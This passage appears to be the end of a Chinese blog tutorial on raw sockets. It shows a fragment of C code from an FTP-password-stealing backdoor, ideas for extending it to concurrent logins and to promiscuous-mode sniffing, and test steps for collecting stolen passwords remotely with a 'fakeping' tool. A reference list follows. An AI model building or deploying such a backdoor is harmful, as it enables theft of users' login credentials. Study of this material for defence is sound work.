? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.PassWord, 15, "%s", password);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? AddNode(&node);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? return 1;
}
2.3 改進的思路
? ???由于時間原因,雖然后來想了一些改進的方法,但卻沒有去實現(xiàn),很是遺憾,
不過還是在此提出,希望感興趣的朋友自己去實踐,并告訴我結(jié)果
(1):
? ?? ?由于原來的單線程后門程序在多個用戶同時登陸FTP時會出錯,我們即使加上煩雜的處理在運氣很好的情況下最終也只能得到一對密碼對,可以這樣改進,每檢測到一個用戶名,就將這個數(shù)據(jù)包的源IP,源端口,以及用戶名存儲到一個列表中,用戶名相同的進行覆蓋存儲,然后再次檢測到密碼時,根據(jù)密碼數(shù)據(jù)包的源IP以及源端口去表中查找匹配,這樣就能獲取并發(fā)訪問FTP時的密碼了
(2):
? ???如果你在局域網(wǎng)做試驗,并且你的老板允許你把網(wǎng)卡設(shè)置為混雜模式,那么這個程序就是一個真正的嗅探器了,這個時候你要存儲的信息就多了,需要加上目的IP和目的端口.最后切記,最好不要將這個程序用于惡意目的.
添上測試方法:make之后生成sniffer和fakeping這兩個程序
假設(shè)FTP服務器IP為192.168.1.1,遠程主機為192.168.1.2
在192.168.1.1上運行sniffer程序,并打開該機子上的ftp服務
然后從任意一臺機子上多次登陸FTP服務器,密碼就被竊取了
最后,在192.168.1.2上 fakeping 192.168.1.1
每調(diào)用一次,就返回一對密碼對,直到取到無效值為止
不好意思,昨天將文章名記錯了,現(xiàn)在改回來了
具體點說,參考文獻有:
(1):phrack的 <<Hacking the Linux Kernel Network Stack>>
? ??www.phrack.org上有原文,CU的地址為:
http://www.chinaunix.net/jh/4/758787.html
(2)phrack上的 <<Building Into The Linux Network Layer??>> 地址是:
? ???http://www.phrack.org/archives/55/P55-12
(3):Linuxjournal的<<Inside the Linux Packet Filter>>1和2
地址:http://www.linuxjournal.com/article/4852
? ?? ?http://www.linuxjournal.com/article/5617
(4):<<unix網(wǎng)絡(luò)編程>>以及人民郵電 林宇和郭凌云的<<Linux網(wǎng)絡(luò)編程>>
(5):<<Understanding linux network internals>>的第24章
? ? (5)已經(jīng)有中文翻譯組了,網(wǎng)址是http://www.hlbbs.com/linuxdoc/
對于文章名寫錯的事情表示道歉,昨天太粗心了....
總結(jié)
以上是生活随笔為你收集整理的原始套接字与sniffer的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 基于原始套接字的嗅探器
- 下一篇: 基于嗅探原理的原始套接字木马